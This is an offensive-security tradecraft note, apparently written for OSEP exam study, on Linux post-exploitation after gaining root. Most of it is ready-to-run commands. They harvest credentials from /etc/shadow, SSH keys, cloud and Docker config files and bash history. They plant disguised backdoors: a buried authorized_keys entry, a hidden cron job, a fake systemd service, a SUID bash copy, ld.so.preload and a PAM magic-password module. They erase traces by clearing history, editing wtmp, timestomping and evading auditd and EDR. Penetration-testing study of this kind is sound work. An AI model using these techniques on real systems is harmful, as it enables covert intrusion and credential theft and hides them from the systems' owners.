Linux post-exploitation tradecraft
TL;DR: Once you have root on a Linux box, the OSEP-relevant work begins: collect creds and pivots, persist with something the next admin won’t notice, evade auditd/falco/EDR, and don’t leave a trail in shell history or wtmp. This note is the operator’s checklist. Companion to linux-userland-and-kernel-rootkit-primer.
Triage on first root (90-second pass)
1
2
3
4
5
6
7
8
9
10
11
id; uname -a; hostnamectl
cat /etc/os-release
cat /etc/hostname
cat /etc/resolv.conf
ip -br a; ip route
ss -tlnp; ss -ulnp
ps auxf
last -i; lastlog -t 30
who -a
crontab -l; ls -la /etc/cron.* /var/spool/cron/
systemctl list-timers --all
Don’t pipe to a file in /tmp yet — first read what’s there:
1
ls -la /tmp /var/tmp /dev/shm /root /home/*/
Credential harvesting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# SSH keys, known_hosts, authorized_keys
find / -type f \( -name "id_*" -o -name "authorized_keys" -o -name "known_hosts" \) 2>/dev/null
# Bash history (the thing every admin forgets)
cat /home/*/.bash_history /root/.bash_history 2>/dev/null
ls /home/*/.*history /root/.*history 2>/dev/null
# Common cred files
cat /etc/shadow # if root
cat /root/.aws/credentials 2>/dev/null
cat /root/.gcloud/* 2>/dev/null
cat ~/.docker/config.json 2>/dev/null
find / -name "*.kdbx" -o -name "*.pem" -o -name "*.kube*config*" 2>/dev/null
grep -RIn --include='*.env' --include='*.yaml' --include='*.yml' \
'password\|api_key\|secret\|token' /etc /opt /home /var/www 2>/dev/null
# Process command lines often leak args with passwords
ps -eo pid,user,command | grep -iE 'pass|token|secret|api_key' | grep -v grep
For LSASS-style memory cred extraction on Linux: dump /proc/<pid>/maps and search for known patterns (mimipenguin) — see references.
Lateral knowledge
/etc/hostsand/etc/resolv.confreveal internal naming./etc/fstabreveals NFS mounts; ifno_root_squashsee nfs-no-root-squash.~/.ssh/configreveals jump hosts and host aliases.cat /root/.bash_history | grep sshoften gives you the next pivot directly.
Persistence (low-noise first)
In order of “how surprised will the SOC be”:
1. SSH authorized_keys
1
2
3
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Stealth tweak: bury your key on line 50 of a long file; admins skim the top.
2. Cron with a quiet command
1
2
echo '*/30 * * * * root /usr/local/lib/.update.sh >/dev/null 2>&1' \
>> /etc/cron.d/update
Name it update or apt-cache-prune. Plenty of legitimate cron entries look this anodyne.
3. systemd user service
1
2
3
4
5
6
7
8
9
10
11
12
13
# /etc/systemd/system/update-helper.service
[Unit]
Description=Package cache helper
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/lib/.update.sh
Restart=on-failure
RestartSec=300
[Install]
WantedBy=multi-user.target
1
2
systemctl daemon-reload
systemctl enable --now update-helper.service
4. SUID binary
1
cp /bin/bash /usr/local/sbin/.bash; chmod 4755 /usr/local/sbin/.bash
Then call /usr/local/sbin/.bash -p from any unprivileged account.
5. PAM module (advanced)
Drop a custom PAM module that, when called from pam_authenticate, accepts a magic password and grants login. Stable across reboots, invisible to file-integrity monitors that only watch /etc/passwd. See linux-userland-and-kernel-rootkit-primer.
6. LD_PRELOAD via /etc/ld.so.preload
1
echo "/usr/local/lib/.preload.so" >> /etc/ld.so.preload
Loads your .so into every dynamically linked binary system-wide. Easy to detect if defenders look in the right file, but most don’t.
Evasion
Bash history
1
2
3
4
5
6
unset HISTFILE # current shell only
export HISTFILE=/dev/null # alternative
history -c # clear in-memory
ln -sf /dev/null ~/.bash_history # persistent — also a tell
HISTCONTROL=ignorespace # then prefix every command with a space
whoami # leading space → not recorded
wtmp / utmp / btmp
1
2
3
4
# remove specific session entries (utmpdump pattern; needs root)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
# edit /tmp/wtmp.txt to drop your sessions
utmpdump -r /tmp/wtmp.txt > /var/log/wtmp
There are tools (wipe, 0wned-wipe) but the principle is: parse utmp record format, remove your tty/host entries, write back.
auditd
1
2
3
4
5
6
7
8
# What is being audited?
auditctl -l
# Read recent events
ausearch -ts recent
# Common high-value rules to look for: watches on /etc/passwd, /etc/shadow,
# execve syscalls for specific UIDs, watches on /root.
Bypass options:
- Avoid watched paths — write your files anywhere not in
auditctl -l. - Use syscalls auditd doesn’t watch — exec via
execveat, file I/O via uncommon syscall numbers. - Stop or rate-limit auditd —
service auditd stopis loud and logged elsewhere; modifyaudit.rulesin place and reload only if you can suppress the reload event. - Trojanise the auditd binary — heavy. Last resort.
EDR (CrowdStrike Falcon, SentinelOne, etc.)
Modern Linux EDR uses eBPF or kernel modules to hook syscalls. You see:
falcon-sensor/sentineld/wazuh-agentprocesses.- LKMs you didn’t load (
lsmod).
Tactical:
- Live off LOLBins (
curl,wget,python,socat) — fewer signature hits than dropped binaries. - Avoid
bash -ireverse shells from default Bash; the EDR is fingerprinting those. - Use
ptyupgrades that look like SSH session shapes.
File timestamps
1
2
3
4
5
# match a target's timestamp on your dropped file
touch -r /bin/ls /usr/local/lib/.update.sh
# stat to verify
stat /usr/local/lib/.update.sh
Real defenders watch ctime (change time) which touch does not modify. ctime requires more invasive techniques (debugfs on ext4) and is generally a hint that you’re being hunted.
OSEP-shaped exercise
- Get a low-priv shell on a Linux target.
- Enumerate auditd rules; document what’s watched.
- Privesc using a vector auditd is not watching.
- Drop a PAM-module backdoor.
- Add an authorized_keys persistence with a buried key.
- Clear your wtmp entry and history.
- Beacon out via DNS C2 only (no TCP).
When you can run that whole chain blind in 30 minutes, you’re OSEP-Linux-fluent.